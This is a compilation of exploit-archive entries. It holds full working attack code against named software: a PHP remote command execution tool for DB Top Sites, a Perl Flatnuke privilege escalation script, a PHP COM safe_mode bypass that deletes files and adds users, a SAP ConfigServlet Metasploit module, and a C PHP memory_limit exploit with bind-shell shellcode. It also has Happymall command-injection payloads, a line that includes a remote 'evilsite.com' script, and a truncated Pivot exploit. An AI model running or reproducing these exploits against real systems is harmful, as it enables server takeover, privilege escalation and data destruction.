uIDrJ03Dxg6cJuhiwSHkTbzlP7ay/O7xLY7e5PG3B42eSUTd5Fx1Nxauoo9TpSqY
yupE6i2lpOB1nXhjRdlEbuddzLTmBhcHL4K/PqG6EoN5gGbSBe15Jon7DPh681SQ
4AbFTX/8c/fs0KE+6w6J52Bq8mtY6KVDBZ2+yqnY6QSeH6k5+avb8skoeD2YR30y
OdMqwo11++z85FQ7Fih+GMeNSYTDDED61hbwsQaWnuS9kkil1FiMTGbNcWoKWORd
w3E2IQs6c4WxPeISw6bbsyCpm+nTDjDAw6gfkejvRVtD9HKjG7CL1Q==
=hWBM
-----END PGP SIGNATURE-----


Running DISA SRR scripts against your server can get you easily rooted. They run arbitrary binaries discovered on the filesystem as root. They apparently need another Security Readiness Review script to first audit their own Security Readiness Review scripts.

SirGod/DB Top Sites 1.0 Code Execution ( na)

<?php
/*

------------------------------------------------------------

[+] About 

DB Top Sites v1.0 Remote Command Execution Exploit
Script homepage : http://www.jnmsolutions.co.uk/topsites/
Author : SirGod
Thanks to : Nytro
Website : www.mortal-team.org

------------------------------------------------------------

[+] Usage 

Upload the file to an webhost and access it.
Site : the target website (WITH TRAILING SLASH)
Command : the command that you want to execute
Click Execute.The command output will be diplayed.
After you executed the exploit once,the file can't be 
replaced ( because the exploit create it by registering )
and just hit the link in the top of the page
and go back to execute another command.

------------------------------------------------------------
[+] Explanation 

Lets take a look in add_reg.php

Lines 14 - 22

----------------------------------

$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];

$filename = "./sites/".$user.".php";

-----------------------------------

We can see that the script creates a php file ( username.php ),
in our case,pwned.php.The script save all the user data in that
file so we can inject our evil code into one field ( I chosen 
the location field.

Lines 112 - 121

----------------------------------

$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");

---------------------------------

We see how data is added in the file,the variables
including our evil code.

So if we register as an user with the location :

\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D

the code inside the php file ( pwned.php ) will
look like this : 

----------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
$url = "http://pwned.com";$plm=":)";
?>
---------------------------------

So we can succesfully execute our commands.

------------------------------------------------------------

[+] Notes 

You can change my PHP code ( $codphp ) with what you want.
Example : 

$codphp = "\";?><?php eval(\$_GET['cmd']);?><?php \$xxx=\":D";

And you will be able to execute PHP code.

Example 2 :

$codphp = "\";?><?php include "http://evilsite.com/evilscript.txt";?><?php \$xxx=\":D";

To include your evil script (shell).

Session is used to verify if the exploit was launched 
previously and if was launched previously the exploit
will NOT try anymore to create the file and will let
you to execute your commands.

------------------------------------------------------------

*/

session_start();
error_reporting(0);

if(isset($_POST['submit']))
{
if(!isset($_SESSION['done']))
{
$codphp = "\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D";
define('POSTVARS','user=pwned&amp;pass1=pwned&amp;pass2=pwned&amp;email1=pwned@yahoo.com&amp;email2=pwned@yahoo.com&amp;url=http://pwned.com";$plm=":)&amp;location='.$codphp); 

$site = $_POST['site'];

$ch = curl_init($site . "add_reg.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, POSTVARS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$data = curl_exec($ch);
$_SESSION['done'] = 1;
}
$site = $_POST['site'];
$result = file_get_contents($site . "sites/pwned.php?cmd=" . $_POST['cmd']);
print "<a href=\"javascript:history.back();\">Click here to go back and execute another command</a><br /><br />";
print "Command result: <br /><br />" . nl2br($result) . "<br /><br />";
}

else
{

?>

<form method="post">
Site: <input type="text" name="site" value="http://127.0.0.1/path/" /><br />
Command: <input type="text" name="cmd" value="whoami" /><br /><br />
<input type="submit" name="submit" value="Execute" />
</form>

<?php

}

?>




DB Top Sites version 1.0 remote command execution exploit.

StAkeR/Flatnuke 2.7.1 Privilege Escalation ( na)

#!/usr/bin/env perl
#
# Flatnuke <= 2.7.1 (level) Privilege Escalation 0-day Exploit  
# 
# Description
# -----------
# Flatnuke contains one flaw that may allow a user to become administrator. 
# The issue is due to 'sections/none_Login/section.php' script not properly 
# sanitizing user input supplied to the "level" POST variable. GPC = Off
# Change your rights using the null byte. Dork? Find it yourself.
# -----------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
# thanks to #zeroidentity chan - http://zeroidentity.org
# Aquilo,mrdotkom,p3ri0d and the other members
#
# http://www.youtube.com/watch?v=fCRkJb8H2mQ italian 
# http://www.youtube.com/watch?v=1U4KKuqdoRg english 
#
# Usage/Example
# -------------  
# perl flatnuke.pl host /path username secid
# perl flatnuke.pl localhost /flatnuke yeat 1ab8c9b8d33a4a4e1001d07af5565d22
# -------------

use LWP::UserAgent;
use IO::Socket;


our ($host,$path,$user,$secid) = @ARGV;

if (@ARGV != 4)  {
      print "Flatnuke <= 2.7.1 (level) Privilege Escalation 0-day Exploit\n";
      Usage::Exploit();
}
else {
    Flatnuke::Exploit();
}   


sub Flatnuke::Exploit()
{
        my ($ret,$lwp);

        $lwp = new LWP::UserAgent;

        $lwp->timeout(5);
        $lwp->agent('Links (2.1pre26; Linux 2.6.19-gentoo-r5 x86_64; x)');
        $lwp->default_header('Cookie' => "myforum=$user; path=$path; secid=$secid; path=$path;");

        $ret = $lwp->post("http://$host/$path/index.php?mod=none_Login",
                          [
                            action     => 'saveprofile',
                            user       => $user,
                            hiddenmail => 'on',
                            ava        => 'blank.png',
                            level      => "\x0010",
                          ]);  

        if ($ret->is_success) {
           Flatnuke::Rights();
        }   
}


sub Flatnuke::Rights()
{
       my $packet;
       my $result;
       my $socket = new IO::Socket::INET(
                                          PeerAddr => $host,
                                          PeerPort => 80,
                                          Proto    => 'tcp',
                                        ) or die $!;

       $packet .= "GET /$path/index.php?mod=none_Admin HTTP/1.1\r\n";
       $packet .= "Host: $host\r\n";
       $packet .= "User-Agent: Lynx (textmode)\r\n";
       $packet .= "Referer: http://$host/$path/index.php?mod=none_Admin\r\n";
       $packet .= "Cookie: myforum=$user; path=$path; secid=$secid; path=$path;\r\n";
       $packet .= "Connection: close\r\n\r\n";

       $socket->send($packet);

       while (<$socket>) {
          $result .= $_;
       }

       if ($result =~ /(livello|nivel|level|niveau) 10/i) {    
         print "Exploit successful..you're admin\n";
         print "Upload a shell on: sections/none_Admin/none_tools/webadmin.php\n";
       }
       else {
         print "Exploit unsuccesful..\n";
       }    
}


sub Usage::Exploit()
{
        print "Usage: perl $0 host/path username secid\n";
        print "RunEx: perl localhost /flatnuke yeat c3e557f271a86f893e02971b38b51653\n";
        print "by staker[at]hotmail[dot]it\n";
        exit;
}        




Flatnuke versions 2.7.1 and below remote privilege escalation exploit.

shinnai/php5x-bypass.txt ( na)

<?php
//PHP 5.x COM functions safe_mode and disable_function bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//dork: intitle:phpinfo intext:"php version" +windows (thanks to rgod)

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//from: http://www.phpfreaks.com/phpmanual/page/ref.com.html

//Requirements:
//COM functions are only available for the Windows version of PHP.
//.Net support requires PHP 5 and the .Net runtime. 

//Installation:
//There is no installation needed to use these functions; they are part of the PHP core. -> (sounds good)
//The windows version of PHP has built in support for this extension. You do not need to
//load any additional extension in order to use these functions.
//You are responsible for installing support for the various COM objects that you intend
//to use (such as MS Word); we don't and can't bundle all of those with PHP.

//mmm... I don't know how many people use Apache and PHP on Windows servers but I suppose there are
//a lot of users if PHP developers decide to implement COM functions as part of PHP core.
//take a look here: intitle:phpinfo intext:"php version" +windows (thanks to rgod).
//Anyway, I think they should take much care on security due to the fact that, through these
//functions, you can seriously compromise a pc.

//For remote execution you need (naturally) to use a server that is MS based,
//e.g. Apache for win configured for working with PHP.
//In this scenario, someone could upload a script and then use it to damnage the server.

//Local execution simply bypass all Windows protections against execution of dangerous
//COM objects (even kill-bit) due to the fact that the script is executed from a client that
//does not check these settings.

//php.ini settings:
//safe_mode = On
//disable_functions = com_load_typelib
//open_basedir = htdocs

//Remote execution requires that open_basedir is disabled

$mPath = str_repeat("..\\",20);

$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');  //this one uses compatUI.dll
$compatUI->RunApplication("something", "notepad.exe", 1);  //to run notepad.exe

$wscript = new COM('wscript.shell');        //this one uses wscript.exe
$wscript->Run("cmd.exe /c calc.exe");        //to run calc.exe

$FSO = new COM('Scripting.FileSystemObject');      //this one uses wshom.ocx
$FSO->OpenTextFile($mPath."something.bat", 8, true);    //to create a batch file on server... yes,
                                //if you want you can write to this batch file :)

$FSOdelFile = new COM('Scripting.FileSystemObject');    //this one uses wshom.ocx
$FSOdelFile->DeleteFile($mPath."PathToFiles\\*.txt", True);  //to delete all files with txt extension

$FSOdelFolder = new COM('Scripting.FileSystemObject');    //this one uses wshom.ocx
$FSOdelFolder->DeleteFolder($mPath."FolderToDelete", True);  //to delete an entire folder

$shgina = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');  //this one uses shgina.dll
$shgina->Create("shinnai");          //to add an user :)
?>



PHP 5.x COM functions safe_mode and disable_function bypass proof of concept exploit.

revin aldi/unhappycgi.txt ( na)

Advisory URL:  http://securitytracker.com/alerts/2003/May/1006707.html

Vendor:  Happycgi.com

Product:  Happymall

Versions:  4.3, 4.4

Title:  Happymall E-Commerce Input Validation Flaw Lets Remote Users Execute Arbitrary 
Commands

Description:  Revin Aldi reported an input validation vulnerability in the Happymall 
e-commerce software.  Two scripts allow remote users to execute arbitrary commands with 
the privileges of the web server.

The 'normal_html.cgi' script does not filter user-supplied input before making an open() 
call based on that input.  A remote user can create a specially crafted URL to cause the 
system to execute arbitrary operating system commands.

A demonstration exploit is provided:

/shop/normal_html.cgi?file=|id|

/shop/normal_html.cgi? file=;id|

The vendor reports that the 'member_html.cgi' script is also affected.


Impact:  A remote user can execute arbitrary shell commands with the privileges of the 
target web server.


Solution:  The vendor has issued a fix.  See the attached CERT-KR advisory for more 
information.


Credit:  revin aldi (reVn@minangCrew.Web.Ma) discovered and reported this flaw to 
SecurityTracker and sends Greetz to #MinangCrew at Dal.Net


CVE:  CAN-2003-0243

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0243


Timeline:

Apr 26, 2003 Reported to SecurityTracker
Apr 27, 2003 Vendor contacted (via English language e-mail, without response)
Apr 29, 2003 CERTCC-KR initially contacted
May  2, 2003 Details of vulnerability provided to vendor
May  3, 2003 CERTCC-KR Advisory published


Distribution:  The above SecurityTracker text is Copyright 2003 by SecurityGlobal.net LLC 
but can be redistributed without restrictions.


Additional Information:  The CERTCC-KR advisory is shown below.


==============================================
KA-2003-33: The Vulnerability of File Open Function in Happymall,
             an application of e-commerce.
----------------------------------------------
Published : May 03, 2003
Updated : May 03, 2003
Reference : http://www.certcc.or.kr

-- Systems Affected --------
All web servers running Happymall version 4.3 and 4.4 only

-- Impact --------
The normal_html.cgi and member_html.cgi script of Happymall allow
a remote user to execute arbitrary operating system commands on
the web server with the privilege of web server.

-- Description -----------------
Happymall is an application being used in some e-commerce sites.
Following is what the problem is.

1. If you open normal_html.cgi or member_html.cgi you can find that
there is a sentence, open (A ,"$admin_path/normal_html/$END{'file'}") or
die print "$END{'file'}, which happens to perl programming from time to time.

2. $END{'file'} is looking for file itself in the server to get the value of file.

3. A Remote user possibly exploits a system running Happymall using this vulnerability
only when the value of file is system function.

-- Solution --------------------------
Apply Patch downloaded from :
http://happymall.happycgi.com/forum/forum_detail.cgi?thread=353

How to apply patch to the system :

1. Extract zip file downloaded and you will get two files,
member_html.cgi and normal_html.cgi.

2. Upload those files with ASCII mode to the web server in
the directory containing index.cgi and overwrite.

3. Change the linked address
For example;
Before patch applied : http://test6.happycgi.com/normal_html.cgi?file=company.html
After patch applied : http://test6.happycgi.com/normal_html.cgi?file=company

-- Reference Sites --------------------------
http://www.certcc.or.kr
http://happymall.happycgi.com
--------------------------------------------

--------------------------------------------------------------
Korea Information Security Agency, KISA
Computer Emergency Response Team Coordination Center, CERTCC-KR
Hot Line: 02-118  Email: cert@certcc.or.kr
==============================================================



Happymall E-Commerce software versions 4.3 and 4.4 are vulnerable to remote command execution due to a lack of input validation in the normal_html.cgi script.

Dmitry Chastuhin/SAP ConfigServlet Remote Code Execution ( na)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerVBS
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'SAP ConfigServlet Remote Code Execution',
      'Description'     => %q{
        This module allows remote code execution via operating system commands through the
        SAP ConfigServlet without any authentication. This module has been tested successfully
        with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.
      },
      'Author'          =>
        [
          'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
          'Andras Kabai' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'OSVDB', '92704'],
          [ 'EDB', '24996'],
          [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
        ],
      'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows generic',
            {
              'Arch' => ARCH_X86
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false
      ))

    register_options(
      [
        Opt::RPORT(50000),
        OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ])
      ], self.class)
  end

  def check
    uri = normalize_uri(target_uri.path, 'ConfigServlet')
    begin
      res = send_evil_request(uri, "whoami", 20)
    rescue
      Exploit::CheckCode::Unknown
    end
    if !res
      Exploit::CheckCode::Unknown
    elsif res.body.include?("Process created")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("#{rhost}:#{rport} - Exploiting remote system")
    uri = normalize_uri(target_uri.path, 'ConfigServlet')

    execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri })
  end

  def execute_command(cmd, opts)
    commands = cmd.split(/&amp;/)
    commands.each do |command|
      timeout = 20
      if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
        register_file_for_cleanup($1)
      end
      if command.include?(".vbs") and command.include?(",")
        # because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
        # using the following command line trick it is possible to echo commas into the right places
        command.gsub!(",", "%i")
        command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
      else
        command = "cmd /c " + command
      end
      if command.include?("cscript")
        # in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
        # increaste timeout value when the VBS stager is called
        timeout = 120
      end
      vprint_status("Attempting to execute: #{command}")
      send_evil_request(opts[:sap_configservlet_uri], command, timeout)
    end
  end

  def send_evil_request(uri, cmd, timeout)
    begin
      res = send_request_cgi(
        {
          'uri' => uri,
          'method' => 'GET',
          'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
        }, timeout)

      if !res
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
      end

      if res.code != 200
        vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
        fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
      end
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
    end

    if not res.body.include?("Process created")
      vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
      fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
    end
    return res
  end
end


This Metasploit module allows remote code execution via operating system commands through the SAP ConfigServlet without any authentication. This Metasploit module has been tested successfully with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.

Gyan Chawdhary/PHP <= 4.3.7/ 5.0.0RC3 memory_limit Remote Exploit ( linux)

/* Remote exploit for the php memory_limit vulnerability found by Stefan 
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 * 
 * by Gyan Chawdhary (gunnu45@hotmail.com)
 * (felinemenace.org/~gyan)
 * 
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ... 
 *
 * Vulnerability:
 * The issue is well documented in the advisory. 
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table 
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the 
 * zend_hash_destory function. 
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick 
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On 
 *
 * Gyan
 *
 * 
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";

char request2[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"\r\n"
"-----------------------------264122487026375--\r\n";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"-----------------------------264122487026375--\r\n";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket\n");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect()\n");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed\n");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
 	if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed\n");
               exit(-1);
        }
}

char fill[] = " \r\n %s \r\n ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy. 
 * We set 
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION 
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>:     sub    $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>:     pushl  0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>:     call   *%eax
 * 0x402c22c4 <zend_hash_destroy+192>:     add    $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
	        char *p1, *p2;
	        char *b1, *b2;
	        int i;
		int pot = 0xffffffff;
		int got = 0x41414141;
		int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
		int sot = 0x02020202;
		int ret = 0x081887a8;

		b1 = (char *)malloc(size-8);
                p1 = b1;

		for (i=0; i<size-8; i+=36) 
		{
		*( (int **)p1 ) = (int *)( pot );
		p1+=4;
		*( (int **)p1 ) = (int *)( got );
		p1+=4;
		*( (int **)p1 ) = (int *)( bot );
		p1+=4;
		*( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
		*( (int **)p1 ) = (int *)( got );
	        p1+=4;
	        *( (int **)p1 ) = (int *)( bot );
	        p1+=4;
		*( (int **)p1 ) = (int *)( sot );
		p1+=4;
		}

	        b2 = (char *)malloc(size+1);
	        p2 = b2;

		sprintf(p2, fill, b1);

	        for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with 
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, '\x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
	return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

	       b1 = (char *)malloc(size-8);
               p1 = b1;
  
  	       for (i=0; i<size-8-strlen(shell); i+=4) {
		       *( (int **)p1 ) = (int *)( pot );
	                p1+=4;
                }
 		p1 = b1;

		p1+= size - 8 - strlen(shell);
		strncpy(p1, shell, strlen(shell));
      	       
       	       b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
	                xp_write(b2);
	      }
	       


void exploit()
{

	int i; 
	
	printf("Stage 1: Filling mem with bad pdestructor ... ");
	for (i=0; i< 5; i++)
	{	
  	     xp_connect(IP);
      	     xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
	     close(sock);
	}
	printf("DONE\r\n");
	printf("Stage 2: Triggering memory_limit now ... ");
		
	xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
	printf("DONE\r\n");
	printf("Shell on port 36864\r\n");
	
}

main()
{
	/*No args, no vectors*/
	exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and 
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 * 
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/



// milw0rm.com [2004-11-27]


rgod/Pivot <= 1.30 RC2 Privileges Escalation/Remote Code Execution Exploit ( php)

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Pivot <= 1.30 RC2 privileges escalation / remote commands execution exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dorks: \"Powered byPivot\"\n";
echo "version specific: \"Powered byPivot - 1.30 RC2\" +Rippersnapper\n\n";
/*
works with register_globals=On
*/

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\n";
echo "host:       target server (ip/hostname)\n";
echo "path:       path to the blog\n";
echo "cmd:        a shell command\n";
echo "Options:\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Examples:\n";
echo "php ".$argv[0]." localhost /blog/ ls -la -p81\n";
echo "php ".$argv[0]." localhost /blog/ ls -la -P1.1.1.1:80\n\n";
die;
}

/* software site: http://www.pivotlog.net/

  i) vulnerable code in pv_core.php at line 23-24 and in CheckLogin() function:

  ...
  // some global initialisation stuff
  $Pivot_Vars = array_merge($_GET , $_POST, $_SERVER);

  ...
   function CheckLogin() {
	global $Users, $Pivot_Vars, $Cfg;
	// User is banned..
	if(isset($Cfg['bn_' . $_SERVER['REMOTE_ADDR']])){
		Login(1, 1, "User is banned");
	}

	// added to not check for referers if no session id is given..
	if(!isset($Pivot_Vars['session'])){                                                    <-------------[!]
		$uri = 'http://' . $Pivot_Vars['HTTP_HOST'] . $Pivot_Vars['SCRIPT_NAME'];
		if(strpos($Pivot_Vars['HTTP_REFERER'], $uri)!=0){
			$Pivot_Vars['user'] = '';
			Login(0, 2, "No session active.");
		}
	}

	// If we selected logout from the menu..
	if( isset($Pivot_Vars['func']) && ($Pivot_Vars['func'] == 'login') && isset($Pivot_Vars['do']) && ($Pivot_Vars['do'] == 'logout')){

		setcookie('user', '', -9999,"/");
		setcookie('pass', '', -9999,"/");
		setcookie('mode', 'nothing', -9999,"/");
		unset($Users[$Cfg['tempsessions'][$Pivot_Vars['session']][0]]['session']);
		unset($Cfg['tempsessions'][$Pivot_Vars['session']]);

		SaveSettings();
		login(0,3, "User logged off");
	}

	// if the user has cookies set, but no session is active yet..
	if( isset($_COOKIE['user']) && isset($_COOKIE['hash']) && ($_COOKIE['mode'] == 'stayloggedin') &&        <----------- [!!!]
		( (!isset($Pivot_Vars['session'])) || ($Pivot_Vars['session'] == "")) ) {

		debug("attempted ReviveSession..");
		// Try to revive an old Session..
		ReviveSession();

	} else if(($Pivot_Vars['func'] == 'login') || ($Pivot_Vars['do'] == 'login')) {

		// if we've just logged in, reset the cookies, if necesary and start a new session..

		debug("attempted login..");
		if ( ($Users[$Pivot_Vars['user']]['pass'] == md5($Pivot_Vars['pass']))                           <-------------- [!!!!]
				&& ($Users[$Pivot_Vars['user']]['userlevel']>0) ) {

			NewSession($Pivot_Vars['user']);

		}else{

			// add one to the failed login attempts.
			if(strlen($Pivot_Vars['user']) > 0) {
				$Cfg['fl_' . $_SERVER['REMOTE_ADDR']]++;
			}
			echo "merda, sono qua 4\r\n";
			Login(1,4, "Incorrect username or password");

		}

	} else {
		// when running normally, the session stuff is updated.

		$Pivot_Vars['user'] = $Cfg['tempsessions'][$Pivot_Vars['session']][0];

		$ip = substr( $_SERVER['REMOTE_ADDR'], 0, strrpos( $_SERVER['REMOTE_ADDR'], "."));

		// calculated locally: user's pass + current session + ip we got from user
		$hash1 = md5( md5( $Users[$Pivot_Vars['user']]['pass'] . $Pivot_Vars['session'] ) . $ip ) ;

		// stored hash
		$hash2 = $Cfg['tempsessions'][$Pivot_Vars['session']][1];

		// we check if the two hash matches with the one that was stored
		if ($hash1 != $hash2) {

			// if this is the case, something's not ok, so go back to login..
			Login(0,0, "No hacking, please");

		}
	}

	// If by this point no session is set, we will show the login screen..
	if(strlen($Pivot_Vars['session']) == 0) {
		Login(0,8, "Please log on. (if you keep getting this message, delete the cookies for this site)");
	}

	// Update the timer, so we can keep the user logged in.
	if($Cfg['tempsessions'][$Pivot_Vars['session']][2] - time() <= ($Cfg['session_length'] / 4)) {
		$Cfg['tempsessions'][$Pivot_Vars['session']][2] = $Cfg['tempsessions'][$Pivot_Vars['session']][2] + $Cfg['session_length'];

	}
}
...

a remote user can overwrite $Pivot_Vars array and, if register_globals=on,
$Users one, to escalate privileges, then he can upload php files in images/ folder
